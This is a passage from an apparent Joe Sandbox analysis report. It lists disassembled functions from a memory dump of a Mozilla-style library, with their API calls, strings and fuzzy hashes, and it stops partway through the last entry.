Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 1a9ab37e8e64172c7d905b13892e50c78eaeb0469d58d2c562813e86a2234481
Instruction ID: cbc8e263df56f6e352f57349a7f65a686176fc7b73af3a67e153458b5ffd9462
Opcode Fuzzy Hash: 1a9ab37e8e64172c7d905b13892e50c78eaeb0469d58d2c562813e86a2234481
Instruction Fuzzy Hash: 2041C330608710DFE721DF68C844B9AB7F4AF95318F504A1CF9B1836A0EB74D94ACB92

Function 6C200210 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(?), ref: 6C200222
moz_xmalloc.MOZGLUE(0000000C), ref: 6C200231

Part of subcall function 6C1DCA10: malloc.MOZGLUE(?), ref: 6C1DCA26

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C20028B
RtlFreeHeap.NTDLL(?,00000000,00000000), ref: 6C2002F7

Strings

@, xrefs: 6C2002D8

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ExclusiveLock$AcquireFreeHeapReleasemallocmoz_xmalloc
String ID: @
API String ID: 2782572024-2766056989
Opcode ID: 6a1a9f52a7a4401291551d381200038683deaf64e33c773124b9b82f36f9bcde
Instruction ID: e28e0dfa5cef18f76bef4e6b90f61b4b3fc92f6b357fd394d2ae60f83e7b00be
Opcode Fuzzy Hash: 6a1a9f52a7a4401291551d381200038683deaf64e33c773124b9b82f36f9bcde
Instruction Fuzzy Hash: C2318BB1B006558FEB54DF58C880B1AB7A1AF44718B14892EE95ADBB40D731EC01CB91

Function 6C20E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C1D4A68), ref: 6C20945E
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C209470
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C209482
Part of subcall function 6C209420: __Init_thread_footer.LIBCMT ref: 6C20949F

GetCurrentThreadId.KERNEL32 ref: 6C20E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C20E04F

Part of subcall function 6C2094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C2094EE
Part of subcall function 6C2094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C209508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C20E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C20E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C20E057

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 61ea46a98399c7706fa27a86d8db5c01e84db94beb6a3de9b663d5563636c92e
Instruction ID: 8209b2f619b542be25106843b7b683236f2eece155b23043a2faffe528dbca00
Opcode Fuzzy Hash: 61ea46a98399c7706fa27a86d8db5c01e84db94beb6a3de9b663d5563636c92e
Instruction Fuzzy Hash: B921D074B0010D8FDF00EF64C858AAEB7B6AF8930DF544016EC4AA7380DF31A949C7A1

Function 6C2274A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C227526
__Init_thread_footer.LIBCMT ref: 6C227566
__Init_thread_footer.LIBCMT ref: 6C227597

Strings

UnmapViewOfFile2, xrefs: 6C227552
kernel32.dll, xrefs: 6C227557

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 452d1c632c3a1bc154535cf4a2e9ce84ce947b3317726fc618b726a6ef13c43a
Instruction ID: 19725f648c20b391ae534c2e586950caeb5f7260e0e4c1cba3bbdeaf8485ff67
Opcode Fuzzy Hash: 452d1c632c3a1bc154535cf4a2e9ce84ce947b3317726fc618b726a6ef13c43a
Instruction Fuzzy Hash: D8210A3174450A9BDB18DFE5C858F5B73B5EBC6B2DF058529EC054BB80D77CA802C551

Function 6C227930 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C1DBF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C227A3F), ref: 6C1DBF11
Part of subcall function 6C1DBF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C227A3F), ref: 6C1DBF5D
Part of subcall function 6C1DBF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C227A3F), ref: 6C1DBF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000012,00000000), ref: 6C227968
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_J@Z.MSVCP140(6C22A264,6C22A264), ref: 6C22799A

Part of subcall function 6C1D9830: free.MOZGLUE(?,?,?,6C227ABE), ref: 6C1D985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6C2279E0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6C2279E8

Strings

#l, xrefs: 6C2279D0

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID: #l
API String ID: 3421697164-1859165446
Opcode ID: 7a127baeaace0872e9d8b2ba2bd3dcc9c5783ee6fa117e79d53f341ca19c626e
Instruction ID: 90984c93cfaec96d1dd7b52dc363da3765bfa1e810317da2e58c28b4e61e3c9b
Opcode Fuzzy Hash: 7a127baeaace0872e9d8b2ba2bd3dcc9c5783ee6fa117e79d53f341ca19c626e
Instruction Fuzzy Hash: 51215C756043149FCB04DF18D899A9EFBF5EF89314F44886DE84A973A1CB30A909CB92

Function 6C227A10 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C1DBF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C227A3F), ref: 6C1DBF11
Part of subcall function 6C1DBF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C227A3F), ref: 6C1DBF5D
Part of subcall function 6C1DBF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C227A3F), ref: 6C1DBF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000013,00000000), ref: 6C227A48
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_K@Z.MSVCP140(?,?), ref: 6C227A7A

Part of subcall function 6C1D9830: free.MOZGLUE(?,?,?,6C227ABE), ref: 6C1D985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6C227AC0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6C227AC8

Strings

#l, xrefs: 6C227AB0

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID: #l
API String ID: 3421697164-1859165446
Opcode ID: 90188d62abfe42cb2efe6d25fb88bd990ed8e2b2fe4366892c9bc717493e9951
Instruction ID: 8586886c8d321274b72790d38549ca0487204d736d0781b161d32651926d6b55
Opcode Fuzzy Hash: 90188d62abfe42cb2efe6d25fb88bd990ed8e2b2fe4366892c9bc717493e9951
Instruction Fuzzy Hash: 8B215E756043149FCB14DF18D899A9EFBE5FF89314F00886CE84A97391CB30A909CB92

Function 6C22A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C24F770,-00000001,?,6C23E330,?,6C1EBDF7), ref: 6C22A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C1EBDF7), ref: 6C22A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C1EBDF7), ref: 6C22A7E4
LeaveCriticalSection.KERNEL32(6C24F770), ref: 6C22A80A

Strings

accelerator.dll, xrefs: 6C22A7BF

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: d8becfbdc95ace8b97967807cdc59fedb5db59a1214bfc4672a59ee212d71763
Instruction ID: f75b912c9048e3b850d71e496fe1e90100384dc37ceb336240ad9f021a6533a9
Opcode Fuzzy Hash: d8becfbdc95ace8b97967807cdc59fedb5db59a1214bfc4672a59ee212d71763
Instruction Fuzzy Hash: C5018471710308DF9B04DF55D484D167BF4FBC9765705C06AED098B741DB74A800CBA1

Function 6C1CF0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C1CEE51,?), ref: 6C1CF0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree,?,6C1CEE51,?), ref: 6C1CF0C2

Strings

Could not find CoTaskMemFree, xrefs: 6C1CF0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C1CF0DC
ole32, xrefs: 6C1CF0AD

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 70fbfef7c4d778d280a09e9127b3e6677b3cdf6da145305bd724a02b2a35603b
Instruction ID: 0bbde89ab56df9165eea6955c66408211ffdef8092d9d6fe9f45296a3cce0476
Opcode Fuzzy Hash: 70fbfef7c4d778d280a09e9127b3e6677b3cdf6da145305bd724a02b2a35603b
Instruction Fuzzy Hash: 31E048707456099B9F18AB76D81DA2B37B96B72A0D354C42DFD31D1EC0EE24D420CA13

Function 6C200080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C1D7204), ref: 6C200088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2,?,6C1D7204), ref: 6C2000A7
FreeLibrary.KERNEL32(?,6C1D7204), ref: 6C2000BE

Strings

wintrust.dll, xrefs: 6C200083
CryptCATAdminAcquireContext2, xrefs: 6C2000A1

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 2bd6b09ea3739f3867071210b9756f2f95c0dca09df3cd6a7b95fb1e0f5efcfa
Instruction ID: fea3533f29f0c5a1de3652b1442d032490d015fb0a5b329e58509d6344c7be4c
Opcode Fuzzy Hash: 2bd6b09ea3739f3867071210b9756f2f95c0dca09df3cd6a7b95fb1e0f5efcfa
Instruction Fuzzy Hash: 1CE07E74744B099BEB04BF66C80CB067AF9AB8B349F90C416AD24C6690EBB5C050DB21

Function 6C2000D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C1D7235), ref: 6C2000D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2,?,6C1D7235), ref: 6C2000F7
FreeLibrary.KERNEL32(?,6C1D7235), ref: 6C20010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C2000F1
wintrust.dll, xrefs: 6C2000D3

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: b09f97264e156a3576b53e918c80c46741746e9c9c3503413fb554f75c2c32f8
Instruction ID: 83a8040519de78c72ba5ef41dd22d2b3b972a8540f2275eec1df121ef31da507
Opcode Fuzzy Hash: b09f97264e156a3576b53e918c80c46741746e9c9c3503413fb554f75c2c32f8
Instruction Fuzzy Hash: 8BE0927474570A9BFF00BF6AC90DF27BAF9A78624DF90C016AD4A95A81DBB08050CA10

Function 6C200120 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C1D7297), ref: 6C200128
GetProcAddress.KERNEL32(00000000,CryptCATAdminEnumCatalogFromHash,?,6C1D7297), ref: 6C200147
FreeLibrary.KERNEL32(?,6C1D7297), ref: 6C20015E

Strings

wintrust.dll, xrefs: 6C200123
CryptCATAdminEnumCatalogFromHash, xrefs: 6C200141

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminEnumCatalogFromHash$wintrust.dll
API String ID: 145871493-1536241729
Opcode ID: 2517fe2c8d9de39808c328fe1f2667f383618e0befe90ab0157cca8fd260d36d
Instruction ID: 71cae183321b288e7ac082e242b8c3f50e4e75549e66f20b82468d90bf1463bd
Opcode Fuzzy Hash: 2517fe2c8d9de39808c328fe1f2667f383618e0befe90ab0157cca8fd260d36d
Instruction Fuzzy Hash: 54E07574745749DBEB00BF6AD80CB1ABAF8A79734AF90C016AD05CA681DBB0C000CB50

Function 6C200170 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C1D7308), ref: 6C200178
GetProcAddress.KERNEL32(00000000,CryptCATCatalogInfoFromContext,?,6C1D7308), ref: 6C200197
FreeLibrary.KERNEL32(?,6C1D7308), ref: 6C2001AE

Strings

wintrust.dll, xrefs: 6C200173
CryptCATCatalogInfoFromContext, xrefs: 6C200191

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATCatalogInfoFromContext$wintrust.dll
API String ID: 145871493-3354427110
Opcode ID: 64ea63a6f69aaacb49af99864cbe9ca59c7c874c25bfeb7de45317953df55eae
Instruction ID: 6ce6ddf262d83125ca6aeb66dfd61c6d4bfdc3175ea9442c814960ef057adfc7
Opcode Fuzzy Hash: 64ea63a6f69aaacb49af99864cbe9ca59c7c874c25bfeb7de45317953df55eae
Instruction Fuzzy Hash: 20E09A747866899BFF407F6AC90CB07BBF9B78724DF548057ED85856C1DBB48040CA20

Function 6C2001C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C1D7266), ref: 6C2001C8
GetProcAddress.KERNEL32(00000000,CryptCATAdminReleaseContext,?,6C1D7266), ref: 6C2001E7
FreeLibrary.KERNEL32(?,6C1D7266), ref: 6C2001FE

Strings

wintrust.dll, xrefs: 6C2001C3
CryptCATAdminReleaseContext, xrefs: 6C2001E1

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminReleaseContext$wintrust.dll
API String ID: 145871493-1489773717
Opcode ID: fc6d2a3f539ccae49339960c36b49ee2f92431fc71c3af1cf9f48335fa9dfaa8
Instruction ID: 6ee983ab6510621310556f2c320c8b4b1df91a9ddf5dcb9b91f3b49bf8390cc2
Opcode Fuzzy Hash: fc6d2a3f539ccae49339960c36b49ee2f92431fc71c3af1cf9f48335fa9dfaa8
Instruction Fuzzy Hash: EAE075757847899BEB00BF6AD80CB17BAF8AB97349F50C416ED15C9A81EBB08000DB10

Function 6C22C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C22C0E9), ref: 6C22C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory,?,6C22C0E9), ref: 6C22C437
FreeLibrary.KERNEL32(?,6C22C0E9), ref: 6C22C44C

Strings

ntdll.dll, xrefs: 6C22C413
NtQueryVirtualMemory, xrefs: 6C22C431

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 4693911cadd7796d03a2c16dcd0362f581d9ec63faf5b8ff63b8b05652a4d40f
Instruction ID: 71c58494b2148dba1608c976e40ff304daddfcdad09652a1619ee134ff035e3e
Opcode Fuzzy Hash: 4693911cadd7796d03a2c16dcd0362f581d9ec63faf5b8ff63b8b05652a4d40f
Instruction Fuzzy Hash: 17E0B670705B099BEF00BFB6CD0CB177BF8A786A4DF40D116AE0499681EBB4C000CB50

Function 6C2275B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C22748B,?), ref: 6C2275B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError,?,6C22748B,?), ref: 6C2275D7
FreeLibrary.KERNEL32(?,6C22748B,?), ref: 6C2275EC

Strings

ntdll.dll, xrefs: 6C2275B3
RtlNtStatusToDosError, xrefs: 6C2275D1

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: d6de2c40ce8aa8fa71b31799dcb7868855a5982eb0af5ab1a8560cc7112ad463
Instruction ID: d8906dbf9e50865d1664b8e7e8fe6240b73684927bf34ed448112dec2e163637
Opcode Fuzzy Hash: d6de2c40ce8aa8fa71b31799dcb7868855a5982eb0af5ab1a8560cc7112ad463
Instruction Fuzzy Hash: 59E07E7178570AABEB007BA6C84CB06BAF8EB8661DF50D025AD0591681EAB88061CF11

Function 6C227600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C227592), ref: 6C227608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection,?,6C227592), ref: 6C227627
FreeLibrary.KERNEL32(?,6C227592), ref: 6C22763C

Strings

ntdll.dll, xrefs: 6C227603
NtUnmapViewOfSection, xrefs: 6C227621

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 218a5934acc1001f91821cdff2df68326001c86a43cc5caf6c03d176b49b5a37
Instruction ID: 059bb349c67486369f7bd10ac3e1973a9b025a10c7e61806f6af64042faf3f70
